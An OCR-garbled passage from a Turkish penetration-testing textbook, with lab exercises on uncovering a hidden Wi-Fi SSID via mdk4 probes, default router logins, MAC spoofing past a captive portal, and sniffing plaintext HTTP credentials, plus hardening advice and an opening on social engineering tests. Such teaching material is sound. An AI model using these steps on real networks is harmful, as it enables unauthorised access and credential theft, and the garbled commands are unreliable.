m edilmistir. Kullanilan bu ortamda monitér modu destekleyen bir kablosuz ag karti kullanimi
zorunlu degildir ancak gercek sizma testi senaryolarinda bu tir donanimsal gereksinimler
onem arz eder. Gergeklestirilen islemler; kullanilan Linux dagitimina, bagimliliklara, ek
uygulamalara ve kittphane gereksinimlerine bagh olarak farkhlik gosterebilir. Bu nedenle

uygulamalarin kullanilan sistem ortamina uygun sekilde yapilandirilmasi ve organize
edilmesi gerekmektedir.

6. Uygulama

Zafiyet iceren bir kablosuz ag ortaminda sizma testi gerceklestirmeniz beklenmektedir. Bu kapsamda
oncelikle 2.4 GHz ve 5 GHz bantlarini kapsayacak sekilde kablosuz ag kesfi yaparak Wi-Fi global
aginin hangi kanalda yayin yaptigini kesfediniz, ardindan gizli (hidden) olarak yapilandiriimis kablosuz
aga ait SSID bilgisini ortaya cikararak aga erisim saglayiniz. Erisim sonrasinda elde ettiginiz bulgular
dogrultusunda glvenlik zafiyetlerini analiz ediniz ve s6z konusu kablosuz agin daha glvenli hale
getirilmesine yonelik iyilestirme onerilerinizi detayh sekilde raporlayiniz.

1. Adim: Kablosuz ag kesfi gerceklestirmek amaciyla airodump-ng wlanOmon komutunu kullaniniz ve
elde edilen giktilar Gizerinden dinlemek istediginiz hedef aga ait BSSID ve kanal (CH) bilgileriniinceleyerek
degerlendirmenizi gerceklestiriniz (Gorsel 3.69).

ENC CIPHER AUTH ESSID
PSK wifi-mobile
wifi
MiFibra-5-
wifi-man
WIFI-JUAN

wifi-IT

1 min ][

PWR

Gorsel 3.69: Kablosuz ag tarama sonuglari

2. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Yapilan kablosuz ag kesfi sirasinda Wi-Fi global erisim noktasi (ESSID) dogrudan
gorintilenememis, bunun yerine <length: 9> ifadesiyle belirtilen gizli (hidden) bir agin varligi tespit
edilmistir. Bu durum, ag adinin bilingli olarak gizlendigini ve standart tarama yontemleriyle dogrudan
elde edilemeyecegini gostermektedir. Gizli agin BSSID ve yayin yaptigi kanal bir sonraki kesif icin not
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3. Adim: Varsayilan olarak airodump-ng araci yalnizca 2.4 GHz frekans bandini taramaktadir. Daha
kapsamli bir kablosuz ag kesfi gerceklestirmek amaciyla 5 GHz bandini da kapsayacak sekilde tarama
yapiniz. Bu dogrultuda sudo airodump-ng wlanOmon --band abg komutunu kullanarak hem 2.4 GHz
hem de 5 GHz frekans bantlarini icerecek bicimde kesif yapiniz ve elde edilen ¢iktilar Gzerinden Wi-Fi
global aginin kullandigi kanali (CH) tespit ediniz (Gorsel 3.70).

# sudo airodump-ng wlan@mon --band abg

102 ][ WPA han
ENC CIPHER AUTH

OWE
MGT
MGT
MGT

MGT v =k
SAE wifi-IT

wifi g
WIFI-JUAN

CCMP

P MGT
P MGT

Gorsel 3.70: Wi-Fi global aginin kesfi

4. Adim: Kesfedilen gizli (hidden) agin SSID bilgisini tespit edebilmek amaciyla bir kelime listesi kullaniniz.
Bu kapsamda yaygin olarak kullanilan rockyou kelime listesinden faydalanarak SSID tahmini Uretiniz.
Oncelikle mevcut kelime listesini diizenleyerek her bir kelimenin basina cat ~/rockyou-top100000.txt |
awk {print “wifi-” $1} > ~/wifi-rockyou.txt komutunu kullanarak “wifi-” ifadesini ekleyiniz ve yeni bir
liste olusturunuz (Gorsel 3.71).

STATION PWR late Lost Frames
Quitting...

# cat ~/rockyou-topl0e@ee.txt | awk '{print "wifi-" $1}' > ~/wifi-rockyou.txt

Gorsel 3.71: Kelime listesi diizenleme

5. Adim: Kablosuz ag analizine devam ediniz ve hedef erisim noktasinin SSID bilgisini tespit etmek
amaciyla aktif saldiri ydntemlerinden yararlaniniz. Oncelikle kablosuz ag kartini iwconfig wlanOmon
channel 11 komutu ile hedef agin ¢alistigi kanala ayarlayiniz.

6. Adim: Hazirladiginiz kelime listesini kullanarak, mdk4 araci ile mdk4 wlanOmon p -t FO:9F:C2:6A:88:26
-f ~/wifi-rockyou.txt komutuyla hedef erisim noktasina probe istekleri gonderip SSID bilgisinin agiga
¢ctkmasini saglayiniz.

@ SIZMA TESTI



SIZMATESTi UYGULAMALARI ;- .7

7. Adim: islem sonucunda elde edilen ¢iktilari analiz ederek gizli agin gercek SSID bilgisini tespit ediniz
(Gorsel 3.72).

# iwcontig wlan@mon channel 11

# mdk4 wlan@mon p -t F@:9F:C2:6A:¢ - ~/wifi-rockyou.txt
Waiting tor a beacon ftrame fTrom target to get 1its
SSID length is 9
Trying S5ID: wifi-love

Packets sent: 1 -

Trying SSID: wifi-yeah

Parke : 18 - ed- 167 _n;;rl(r:-‘t'-:.*'-:.-:-r
Probe R se from tar i SS wifi-free
JoD's done, nave a hilce aay :)

Gorsel 3.72: Gizli SSID bilgisi kesfi

8. Adim: Tespit edilen gizli kablosuz aga baglanabilmek amaciyla wpa_supplicant tarafindan kullanilacak
bir yapilandirma dosyasi olusturup nano free.conf komutu ile dosyayi acarak hedef aga ait SSID bilgisini
ssid="wifi-free” seklinde tanimlayiniz ve gerekli diger parametreleri ekleyiniz. islem tamamlandiktan
sonra cat free.conf komutu ile dosya igerigini goriintlleyerek yapilandirmanin dogrulugunu kontrol
ediniz (Gorsel 3.73).

# nano free.conf
# nano fr conf
# cat free.conf
network={
ssid="wifi-free"
key_mgmt=NONE
scan_ssid=1

Gorsel 3.73: Baglanti dosyasi olusturma

Agin sifreleme kullanmamasi nedeniyle key_mgmt=NONE parametresi ve gizli aglara

9. Adim: Tespit edilen gizli kablosuz aga baglanma islemini gerceklestirmek amaciyla wpa_supplicant

baglanabilmek igin scan_ssid=1 ayari kullanilmaktadir.

aracini kullaniniz ve daha 6nce olusturulan yapilandirma dosyasini (free.conf) referans alip, kablosuz
ag araylzl Gzerinden wpa_supplicant -Dnl80211 -iwlan2 -c free.conf komutunu kullanarak baglantiyi
baslatiniz (Gorsel 3.74).

# wpa_supplicant -Dnl88211 -iwlan2 -c free.conf
Successfully 1n1t1a11hrd wpa_supplicant
wlan2: SME: Trying to authenticate with f@:9f:c2:6 ='wifi-fr freq=2462 MHz)
wlan2: Trying to associate with f@:9f:c2:6a:88:26 | ifi-free' freq=2462 MHz)
wlan2: Associated with fe:9f:c2: B 5

wlan2: CTRL-EVENT-CONNECTED - Connection to f@:9f:c2:6a:88:26 completed [id=@ id_str=]
wlan2: CTRL-EVENT-SUBMNET-STATUS-UPDATE status=@
wlan2: CTRL-EVENT-BEACON-LOSS

Gorsel 3.74: Baglanti baslatma

m Elde edilen giktilarda associated ve CTRL-EVENT-CONNECTED ifadelerinin gorilmesi,
baglantinin basarih bir sekilde kuruldugunu géstermektedir.

10. Adim: Supplicant baglantisi aktif bir sekilde devam ederken baska bir terminal aginiz ve IP adresi
atanmasini saglamak amaciyla DHCP istemcisini kullaniniz.
SIZMA TESTI @
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11. Adim: Gerekli yetkileri elde etmek icin sudo su komutu ile root kullaniciya gecis yapiniz ve kablosuz
ag araylzi Uzerinden IP adresi almak icin dhclient wlan2 -v komutunu ¢alistirip DHCP siirecini baslatiniz
(Gorsel 3.75).

root@WiFiChallengeLab: /home/fuser

$ sudo su

: # dhclient wlan2
Systems Consortium DHCP Client 4.4.3-P1
Copyright 2004 s Consortium.
11 rights Tved.
For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/wla

Sending on LPF/wlan2/@2:@

Sending on  Socket/fallback

DHCPREQUEST for 192.168.10.14 on wlan2 to ! .255.255 port 67

DHCPREQUES 168.12.14 on wlan2 to i 5 port 67
67 interval 4

DHCPOFFER of 192.168.16. : .16.

DHCPREQUEST for 1 68.1 on_wlar 0_255.255.255.255 port

DHCPACK of 192. : 4 from 192.1

Gorsel 3.75: DHCP IP alma

12. Adim: Kablosuz aga baglanti ve IP adresi alma islemlerinin ardindan DHCP siirecinde elde edilen ag
gecidi (gateway) adresini (6rnegin 192.168.16.1) kullanarak bir web tarayicisi Gizerinden yonlendiricinin
yonetim paneline erisim saglayiniz ve elde edilen arayiiz izerinden kullanici adi ve parola alanlarini
varsayilan olarak deneyerek (6rnegin admin-admin) yetkisiz erisim senaryolarini test ediniz (Gorsel
3.76).

WiFi Router Configuration X+

C @ O A NotSecure o~ http://192.168.16.1/login.phy

Login

Username | admin

Gorsel 3.76: Yonetim paneline erisim

13. Adim: Yonetim paneline erisim saglayiniz ve kablosuz ag sizma testi acisindan glvenlik
degerlendirmesi gerceklestirerek iyilestirme onerilerinde bulununuz (Gorsel 3.77).

WiFi Router Configuration X

C m

Welcome admin

Gorsel 3.77: Response ekrani
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14. Adim: Degerlendirmenizi ve iyilestirme 6nerilerinizi verilenle karsilastiriniz.

DEGERLENDIRME: Zayif yapilandiriimis kablosuz ag, SSID gizleme gibi yetersiz giivenlik 6nlemleri ve
sifrelenmemis yonetim paneli erisimi, sistemin bir saldirgan tarafindan kolaylikla kesfedilip istismar
edilebilecegini ortaya koymaktadir. Bu senaryo, Ozellikle yetkisiz kablosuz ag erisimi ve giivensiz
yOnetim arayiizii zafiyetlerinin tipik bir 6rnegini olusturmaktadir.

lyilestirme Onerileri

Tespit edilen zafiyetlerin giderilmesine yonelik su iyilestirme 6nerilerinin uygulanmasi kablosuz agin
glvenligi acisindan tavsiye edilmektedir:

Guglii Kimlik Dogrulama Kullanilmasi: Kablosuz aglarda agik (OPN) veya zayif yapilandirmalar yerine
en az WPA2-Enterprise veya tercihen WPA3 tabanl kimlik dogrulama mekanizmalarini yapilandiriniz.

SSID Gizlemeye Giivenilmemesi: SSID gizleme tek basina bir giivenlik 6nlemi degildir. Bunun yerine
glcli parola politikalari ve kimlik dogrulama mekanizmalari uygulayiniz.

Ag Erisim Kontrollerinin Uygulanmasi: MAC filtreleme, 802.1X kimlik dogrulama, ag segmentasyonu
(VLAN) gibi ek glvenlik kontrolleri ile yetkisiz erisimleri sinirlandiriniz.

Yonetim Panelinin Giivenli Hale Getirilmesi: Yonetim arayliziine yalnizca HTTPS Ulizerinden erisim
saglayiniz, HTTP erisimini devre disi birakiniz ve glicli parola politikalari uygulayiniz.

Varsayilan Bilgilerin Degistirilmesi: Router ve erisim noktalarinda kullanilan varsayilan kullanici adi ve
sifreleri mutlaka degistiriniz.

Ag izleme ve Loglama Yapilmasi: Siipheli baglant ve trafikleri tespit edebilmek icin loglama ve izleme
mekanizmalari kurunuz.

Firmware Giincellemelerinin Yapilmasi: Ag cihazlarinin yazilimlarini glincel tutarak bilinen zafiyetlere
karsi korunma saglayiniz.

- 7.Uygulama

Zafiyet iceren kablosuz bir agda sizma testi gerceklestirilecektir, wifi-guest agina erismeniz ve
karsilastiginiz captive portal mekanizmasini analiz ederek atlatmaniz beklenmektedir. Onceki
uygulamalarda kullanilan yontemlerle aga baglanabildiginiz halde erisim noktasi (AP) lzerinden
giris yapmaya calistiginizda kullanici adi ve parola talep eden bir captive portal ile karsilasilmaktadir.
Bu kapsamda 6. kanalda calisan erisim noktasini izleyerek ag trafigini analiz ediniz, captive portal
dogrulama siirecini inceleyiniz, uygun teknikleri kullanarak bu mekanizmayi asmaya yonelik bir yontem
gelistiriniz ve sonucu degerlendiriniz.

1. Adim: Kablosuz aglari daha detayli analizetmek amaciyla airodump-ng aracini gelismis parametrelerle
calistiriniz.

2. Adim: -c6 parametresi ile taramayi belirli bir kanal Gizerinde gerceklestiriniz, --manufacturer secenegi
ile erisim noktalarinin Gretici bilgilerini gorlintlleyiniz ve --wps parametresi ile WPS durumlarini analiz
ediniz.
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3. Adim: -w ~/wifi/scan6 parametresi ile yakalanan paketleri dosyaya kaydediniz ve olusan .cap
dosyasini daha sonraki analizler icin saklayiniz (Gorsel 3.78).

- # sudo airodump-ng wlan@mon -w ~/wifi/scancé --manufacturer --wps -c6
21:39:38 Created capture file "/root/wifi/scanc6-82.cap”.

1:40

#Data, #/s C MB ENC CIPHER AUTH WPS ) MANUFACTURER

24

Gorsel 3.78: Detayli bilgi toplama

4. Adim: wifi-guest adli acik kablosuz aga erisim saglamak amaciyla wpa_supplicant icin nano metin
editori kullanarak bir yapilandirma dosyasi olusturunuz ve open.conf ismiyle kaydediniz (Gorsel 3.79).

root@WiFiChallengeLab: fhome/user

GNU nano 7.2 open.conf
network={

ssid="wifi-guest"”

key_mgmt=NONE

Gorsel 3.79: Yapilandirma dosyasi hazirlama

5. Adim: Agtiginiz terminalde wpa_supplicant -Dnl80211 -iwlan2 -c open.conf komutu ile hazirladiginiz
yapilandirma dosyasini ¢alistirarak, sonrasinda farkl bir terminal acip IP adresi almak icin dhclient —v
wlan2 komutunu calistiriniz ve DHCP siirecini baslatiniz (Gorsel 3.80).

root@WiFiChallengeLab: /home/user Q
$ sudo su
: # dhclient -v wlan2
stems Consortium DHCP Client 4.4.3-P1
Internet Systems Consortium.

e visit https://www.isc.org/software/dhcp/

Listening on LPF/wlan2/02:00:00:00:02:00

Sending on LPF/wlan2/@2:00:00:00:

Sending on  Socket/fallback

DHCPREQUEST for 192.168.16.84 on wlan2 to 255.255.255.255 port 67
DHCPNAK from 192.1 10.1

DHCPDISCOVER on wlan2 to 255.255.255.255 port 67 interval 8
DHCPOFFER of 192.168.10.84 from .16

DHCPREQUEST for 192.168.10.84 oo lan? fo 255.255.255.255 port 67
DHCPACK of 192.168.10.84 from 192.168.1@.1

bound to 192.168.1@.84 -- rencwWal 1M 35233 seconds.

Gorsel 3.80: DHCP IP alma
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6. Adim: wifi-guest agina baglanti sagladiktan sonra ag gecidi adresine (6rnegin http://192.168.10.1)
web tarayicisi Uzerinden erisim saglayip acilan captive portal (karsilama ekrani) sayfasini gériintileyiniz
ve oturum baslatmak igin Continue butonuna tiklayarak aga erisimi aktif hale getiriniz (Gorsel 3.81).

¢ openNDS 5/N:f09fc27122 X +

C @ O & NotSecur: http://192.168.10.1

Session Status
gpenNDS S/N:f09fc2712210
To login, click or tap the Continue button

© Partal: BlueWave Prajects and Sarvices 2015 - 2026
Portal Version: 9.8.0

Gorsel 3.81: Captive portal gérintileme

7. Adim: Captive portal lzerinden yonlendirilen giris sayfasina erisim saglayip kullanici dogrulama
ekranini inceleyiniz, acgilan sayfada kullanici adi ve parola alanlarinin bulundugunu gozlemleyiniz ve
baglantinin HTTP Uzerinden gergeklestigini kontrol ediniz (Gorsel 3.82).

* openNDS S/N:f09fc27122 X +

£ Not Secure  http://192.168.10.1:8080/ oy en

openNDS S/N:f09fc2712210

Welcome!

You are connected to CORP Guest WiFi network

To access the Internet you must enter your username and your
password then Accept the Terms of Service to proceed.

Password

Gorsel 3.82: Captive portal gorintileme

8. Adim: Captive portal dogrulamasini atlatmak amaciyla ag trafiginde gozlemlenen ve aga baglh olan
bir istemciye ait MAC adresini tespit ediniz.

m Bu islem icin airodump-ng aracini kullanarak aktif istemcileri analiz ediniz. Elde ettiginiz
MAC adreslerinden birini taklit etmek amaciyla kablosuz ag arayliziinii devre disi birakiniz,
ardindan macchanger araci ile belirlenen MAC adresini atayiniz ve islemin basariyla
tamamlandigini kontrol ediniz. Gerekli durumlarda ag arayuziini tekrar aktif hale getiriniz

(Gorsel 3.83).

# systemctl stop network-manager

# ip link set wlan2
# macchanger -m b@:72:bf:44:b0:49 wlan2

Gorsel 3.83: Captive portal gérintileme
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9. Adim: wpa_supplicant -Dnl80211 -iwlan2 -c open.conf ve baska bir terminalde sudo dhclient -v

wlan2 komutunu kullanarak baglantiyi tekrar baslatiniz.

10. Adim: Baglanti islemi tamamlandiktan sonra elde ettiginiz ag gecidi adresi Gzerinden yonetim

paneline erisim saglayiniz (Gorsel 3.84).
WIiFi Router Configuration X  +

C @ O A Not Secure 192.168.10.1/lo¢

Login

Username

Password

Gorsel 3.84: Yonetim paneli giris ekrani

11. Adim: Kablosuz ag trafigini analiz edebilmek ve potansiyel kimlik bilgilerini elde edebilmek amaciyla
agl belirli bir siire dinleyiniz, yakalanan ag trafigini analiz etmek amaciyla mevcut yakalama islemini
sonlandirmadan ayri bir terminal aginiz ve wireshark ~/wifi/scan6-01.cap komutunu calistirarak .cap

dosyasini inceleyiniz (Gorsel 3.85).

scanc6-01.cap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AdmA0BRRBQAQ¢» v kIEEHezn=E
(W]Apply a dis . <Ctl> 0+
No. Time Source Destination Length Info

Protocol
1

1

v Frame 1: 90 bytes on wire (720 bits), 90 bytes captured (720 bits)

+ TFFF RA? .11 Rearnn frame. Flans: 0018

10.000000 Ubiquiti 71:22:18 Broadcast 90 Beacon frame, SN=0,
2 0.002002 B82:6d:al:9c:41:69 Broadcast 802.11 120 Beacon frame, SN=0,
3 0.002102 Ubiquiti 71:22:12 Broadcast 802.11 117 Beacon frame, SN=8,
4 0.599903 192.168.10.100 192.168.10.1 ICMP 116 Echo (ping) request
50.600012 192.168.16.1 192.168.10.100 ICMpP 116 Echo (ping) reply

6 0.632388 XIAOMIEL 6f:f9:44 Ubiquiti 71:22:12 802.11 132 Data, SN=1564, FN=0,
7 0.632411 Ubiquiti 71:22:12 XIAOMIEl 6f:f9:44 802.11 132 Data, SN=1487, FN=0,
8 3.602524 192.168.10.100 192.168.10.1 ICHP 116 Echo (ping) request
9 3.602684 192.168.10.1 192.168.10.100 ICMpP 116 Echo (ping) reply
10 3.634267 XIAOMIEL 6f:f9:44 Ubiquiti 71:22:12 802.11 132 Data, SN=1565, FN=0,
11 3.634368 Ubiquiti 71:22:12 XIAOMIEL 67:79:44 802.11 132 Data, SN=1488, FN=0,
12 4.378669 IntelCor ad:ab:53 Broadcast 802.11

288 Probe Reauest. SN=872. FN=0.

FN=0, Flags=.
FN=0, Flags=. .
FN=@, Flags=........ , BI=100, SSID="wifi-mobil
id=0x03d1, seq=2464/40969, tt1=64 (reply in 5
1d=0x03d1, seq=2464/40069, ttl=64 (request in
Flags=.p..... T
Flags=.p....F.
1d=0x03d1, seq=2475/43785, ttl=64 (reply in 9
1d=0x03d1, seq=2475/43785, ttl=64 (request in
Flags=.p..... T
Flags=.p....F.
Flagas=.. .. ....s SSID:“wifi-corD-leuqc o
80 00 60 00 ff ff ff ff ff ff 70 9f c2 71 22 10

@ 9f ¢2 71 22 16 [EEEE d5 32 66 8b a2 de 06 00 a" B8 -2f

Gorsel 3.85: Kablosuz aktivitelerini izleme
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12. Adim: Yakalanan ag trafigini analiz etmek amaciyla Wireshark tizerinde uygun filtreleri uygulayiniz.
Ozellikle HTTP POST istekleriniincelemek igin http.request.method == “POST” && ip.dst==192.168.10.1
filtresini kullaniniz ve hedef sunucuya (6rnegin 192.168.10.1) gonderilen giris (login) isteklerini tespit
ediniz (Gorsel 3.86).

scanc6-01.cap - B X

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AdmJ® B BEQEDd KIE @ = w E
[A]http.request.method == "POST" && ip.dst == 192.168.10.1 FI=RE
No. Time Source Destination Protocol Length Info
B 42 5.510754 192. ) 409 POST /login. (application/x-www-form-urlencoded)
52 5.515021 192.168.10.102 192.168.10.1 HTTP 409 POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)
59 5.518114 192.168.10.100 192.168.10.1 HTTP 409 POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)
141 15.656317 192.168.10.101 192.168.10.1 HTTP 409 POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)
148 15.660700 192.168.10.162 192.168.10.1 HTTP 409 POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)
161 15.681395 192.168.10.160 192.168.10.1 HTTP 409 POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)

‘ 0
» Frame 42: 409 bytes on wire (3272 bits), 409 bytes captured (3272 bit 08 01 34 00 O 9f c2 71 22 10 b@ 72 bf b@ 78 48 B rrag oS
» IEEE 802.11 Data, Flags: ....... T [ T0 9f ¢2 71 22 10 b0 33 aa aa 03 00 00 00 08 @0 ---q" -3

+ Logical-Link Control 45 00 01 79 5e 2T 40 00 40 06 45 99 c0 a8 0a 65 E -y*/@ @E

Gorsel 3.86: Post isteklerini gorlintiileme

13. Adim: Wireshark tzerinde filtrelediginiz HTTP POST paketlerinden birini seciniz ve paket detaylarini
inceleyiniz.

14. Adim: Alt panelde yer alan Hypertext Transfer Protocol bolimiinii agarak gonderilen form verilerini
analiz ediniz.

15. Adim: Form item alanlariicerisinde Username ve Password bilgilerinin acik metin (plain text) olarak
iletildigini gozlemleyiniz ve elde edilen verilerden kimlik bilgilerini tespit ediniz (Gorsel 3.87).

scancé-01.cap - =

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Adma@® B RE Q¢ BAS =2 @ xE

[W]http.requestmethod == "POST" && ip.dst == 192.168.10.1 B <)+
No. TITe Souree TETTmaTon PTOLoLot {1016 L1 )

= 42 5.510754 192.168.10.101 192.168.10.1 HTTP 409 POST /login.php HTTP/1.1

(application/x-www-form-urlencoded)

59 5.518114 192.168.10.160 192.168.10.1 HTTP 409 POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)
141 15.656317 192.168.10.101 192.168.10.1 HTTP 409 POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)
148 15.660700 192.168.10.162 192.168.10.1 HTTP 409 POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)
161 15.681395 192.168.10.100 192.168.10.1 HTTP 409 POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)

Frame 42: 409 bytes on wire (3272 bits), 489 bytes captured (3272 bit
IEEE 802.11 Data, Flags: ....... T

08 01 34 00 @ 9f c2 71 22 10 b0 72 bf b0 78 48 4
O 9f c2 71 22 10 b0 33 aa aa 03 00 00 0O 08 00 q"
45 @0 01 79 5e 2T 40 00 40 06 45 99 c® a8 0a 65 E--y*/@

q
3

E

)
N
» Logical-Link Control @
+ Internet Protocol Version 4, Src: 192.168.10.101, Dst: 192.168.10.1 cO a8 0a @1 8f 82 00 50 2b O Gb 2c bl a2 ac 68 B
» Transmission Control Protocol, Src Port: 36738, Dst Port: 80, Seg: 1 4080 18 @1 f6 5T df 60 60 01 01 08 Ba aa 46 c5 19 A
" VRSLBEE, HansTer Bratboy : 0060 70 G8 70 20 48 54 54 50 27 31 26 31 od 6a b HTTP /1,
i R > i T R T e a .
A o R e caded P e - urlencoded (773 74 3a 20 31 30 32 Je 31 36 38 2e 31 38 Ze 31 ;
' Fave item: "Password" = 0080 [[CE] 55 73 65 72 2d 41 67 65 be 74 3a 20 63 /5 User-A gen
v e item: “Submit” = "Login” 0690 72 6¢c 2T 38 2e 31 34 2¢ 31 0d Ga 41 63 63 6570 rl/8.14. 1
- — g 74 3a 20 2a 2f 2a 0d Oa 41 63 63 65 70 74 2d 45 t: */*-. Acc

Gorsel 3.87: Kimlik bilgilerinin tespiti

m Bu adimda free2 kullanicisinin bilgileri gorlntilenmistir, siz sisteme dahil olmak igin
paketlerden freel kullanicisinin bilgisini bulunuz.

16. Adim: Wireshark analizi sonucunda elde edilen kullanici adi ve parola bilgilerini kullanarak hedef
sistemin yonetim paneline erisim saglamayi deneyiniz.

17. Adim: Web tarayicisi tizerinden http://192.168.10.1/login.php adresine gidiniz, tespit edilen freel
kullanicisina ait kimlik bilgilerini ilgili alanlara giriniz ve giris islemini gerceklestiriniz.
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18. Adim: Elde edilen bilgiler ile sisteme basarili sekilde erisim saglanip saglanamadigini kontrol ediniz
(Gorsel 3.88).

WIiFi Router Configuration % % New Tab x  +

C @ O & NotSecure o~ hitp://192.168.10.1/

Login

Usermame = freel

Password

Gorsel 3.88: Giris denemesi

19. Adim: Elde edilen kimlik bilgileri ile yapilan giris isleminin sonucunu dogrulayiniz, yonetim
paneline basarili bir sekilde erisim saglandigini gézlemleyiniz, giris sonrasi agilan sayfada kullaniciya
ozel iceriklerin (6rnegin Welcome freel ifadesi) goruntilendigini kontrol ediniz, bunlari sizma testi
agisindan degerlendiriniz ve iyilestirme onerilerinde bulununuz (Gérsel 3.89).

3 Not Secure | 192.168.10.1

Welcome freel

Congratulation! You have logged into password protected page.

Gorsel 3.89: Baglanti kurulmasi

20. Adim: Degerlendirmenizi ve iyilestirme 6nerilerinizi verilenle karsilastiriniz.

DEGERLENDIRME: Bu test sonucunda SSID gizleme, acik misafir agl ve MAC adresine dayali captive
portal yapisinin yetersiz oldugu, HTTP {izerinden iletilen kimlik bilgilerinin kolaylkla ele gegirilebildigi
tespit edilmistir. Elde edilen bilgilerle yonetim paneline erisim saglanabilmesi, zafiyetlerin zincirleme
sekilde istismar edilebildigini gdstermektedir.
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lyilestirme Onerileri

iyilestirme kapsaminda WPA2-Enterprise/WPA3 kullaniimali, acik aglar sinirlandiriimali, captive portal
daha guvenli kimlik dogrulama mekanizmalari ile giclendiriimeli ve tim erisimler HTTPS {izerinden
saglanmalidir. Ayrica ag segmentasyonu, istemci izolasyonu ve loglama mekanizmalari uygulanarak
yetkisiz erisimler engellenmelidir.

Sira Sizde -

Zafiyet iceren bir Wi-Fi test aginda WEP ile sifrelenmis bir kablosuz agin glivenligini degerlendirmek
amaciyla bir sizma testi calismasi gerceklestiriniz. Bu kapsamda hedef ag Gzerinde kesif islemleri
yaparak agin BSSID, kanal (CH) ve sifreleme tiri bilgilerini tespit ediniz. Ardindan ag trafigini
dinleyerek yeterli miktarda paket [IV (Initialization Vector)] toplayiniz. Elde ettiginiz trafik verilerini
analiz ederek WEP sifreleme anahtarini tespit etmeye ¢alisiniz.

3.1.4. Sosyal Miihendislik Sizma Testi Uygulamalan

Sosyal mihendislik saldirilari, teknik givenlik 6nlemlerini dogrudan hedef almak yerine insan fakto-
rint istismar ederek bilgi elde etmeyi amaclayan saldiri yontemleri arasinda yer alir. Glinimizde ku-
rumlar; gelismis glvenlik duvarlari, saldiri tespit sistemleri ve glicli sifreleme mekanizmalari kullansa
dahi insan hatasi cogu zaman en zayif halka olmaya devam eder. Bu nedenle saldirganlar, teknik zafi-
yetlerden ziyade kullanicilarin gliven, merak, korku, otorite algisi gibi psikolojik unsurlarini hedef alarak
sistemlere erisim saglamayi tercih eder.

Sosyal mihendislik saldirilari; kimlik avi (phishing), sahte e-posta gonderimleri, telefonla bilgi toplama
(vishing), fiziksel ortamda yetkisiz erisim girisimleri, zararli baglantilar araciligiyla kullanicilarin kandiril-
masi gibi farkli tekniklerle gergeklestirilebilir. Bu saldirilar sonucunda kullanici bilgileri, oturum verileri
ve kurum ici hassas bilgiler ele gegirilebilir. Ozellikle calisan farkindahginin diisiik oldugu ortamlarda,
sosyal mihendislik saldirilarinin basari orani oldukga yiiksek olabilmektedir.

Sosyal miihendislik sizma testleri (Social engineering penetration testing), kurumlarin insan odakh
glvenlik seviyesini 6lgmek amaciyla gergeklestirilen kontrolli ve etik test siirecidir. Bu testlerde gergek
saldiri senaryolarina benzer kurgular olusturularak kullanicilarin bu senaryolara nasil tepki verdigi analiz
edilir. Bu testlerin amaci, kullanici davranislarini degerlendirmek, farkindalik seviyesini 6lgmek ve olasi
zafiyetleri ortaya ¢ikarmakdr.

Bu testler kapsaminda sahte e-posta kampanyalari, zararli baglanti similasyonlari, parola talep
senaryolari, sosyal medya Uzerinden gercgeklestirilen bilgi toplama ¢alismalari gibi yontemler
kullanilabilir. Elde edilen bulgular dogrultusunda kurumlara kullanici farkindaligini artirmaya yonelik
egitimler ve glivenlik politikalarinin giiglendirilmesine iliskin éneriler sunulur.

Test stirecinde dikkat edilmesi gereken en dnemli husus, gerceklestirilen tim ¢alismalarin etik kurallar
cercevesinde ve Onceden belirlenmis izinler dogrultusunda vydiratilmesidir. Sosyal muihendislik
testleri yalnizca zafiyet tespiti amaciyla gerceklestiriimeli ve elde edilen bilgiler kesinlikle kotliye
kullanilmamalidir. Bu yaklasim sayesinde kurumlar, insan kaynakli glivenlik risklerini erken asamada

tespit ederek daha glivenli bir yapi olusturma imkani elde eder.
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Sosyal Miihendislik Sizma Testi Uygulamalarinda Kullanilan Metodolojiler

Sosyal miihendislik sizma testleri de web ve ag sizma testlerinde oldugu gibi belirli metodolojiler cer-
cevesinde gerceklestirilmektedir. Bu metodolojiler; test slirecinin planli, kontrolli ve etik kurallar cer-
cevesinde ylrtttlmesini saglar. Ayni zamanda gerceklestirilen calismalarin 6l¢ilebilir ve tekrarlanabilir
olmasina katki sunar.

Bu alanda en yaygin kullanilan metodlar arasinda sosyal mihendislik test planlari, farkindalik deger-
lendirme modelleri ve giivenlik standartlarina dayali uygulama rehberleri yer alr. Ozellikle kurumlarin
insan odakh glvenlik seviyesini 6lgmeye yonelik gelistirilen senaryo tabanl test yaklasimlari, sosyal
mihendislik degerlendirmelerinde temel referans noktalarini olusturur.

Test sirecinin en 6nemli asamalarindan biri, olusturulan saldiri senaryosunun gergekgi ve inandirici
olmasidir ¢linkii sosyal miihendislik saldirilarinda basari orani blytk olclide insan psikolojisinin
dogru analiz edilmesine baghdir. Bu nedenle saldiri vektorleri, hedef kurumun yapisina ve kullanici
davranislarina uygun sekilde hazirlanmalidir.

Elde edilen bulgular dogrultusunda kullanicilarin giivenlik farkindaligi degerlendirilir ve kurumlara
yonelik iyilestirme onerileri sunulur. Bu metodoloji sayesinde yalnizca teknik zafiyetler degil insan
kaynakli glivenlik agiklari da sistematik bir sekilde ortaya ¢ikarilabilir.

Sosyal Miihendislik Sizma Testlerinde Test Edilen Agikliklar ve Saldirilar

Sosyal miihendislik sizma testlerinde amag yalnizca kullanicilarin hassas bilgilerini elde etmek degil
bu bilgilerin hangi insan davranislari, giiven algilari ve farkindalk eksikliklerinden kaynaklandigini
ortaya koymaktir. Bu sirecte kullanicilarin karar verme mekanizmalari, otoriteye karsi tutumlari, dikkat
seviyeleri ve gliven egilimleri detayli olarak incelenir.

Sosyal miihendislik saldirilari; kullanicilarin e-posta, telefon, sosyal medya ve fiziksel ortamlar tGizerinden
gerceklestirdigi etkilesimlere bagh olarak farkli zafiyetlerle ortaya cikarabilir. Bu nedenle test siirecinde
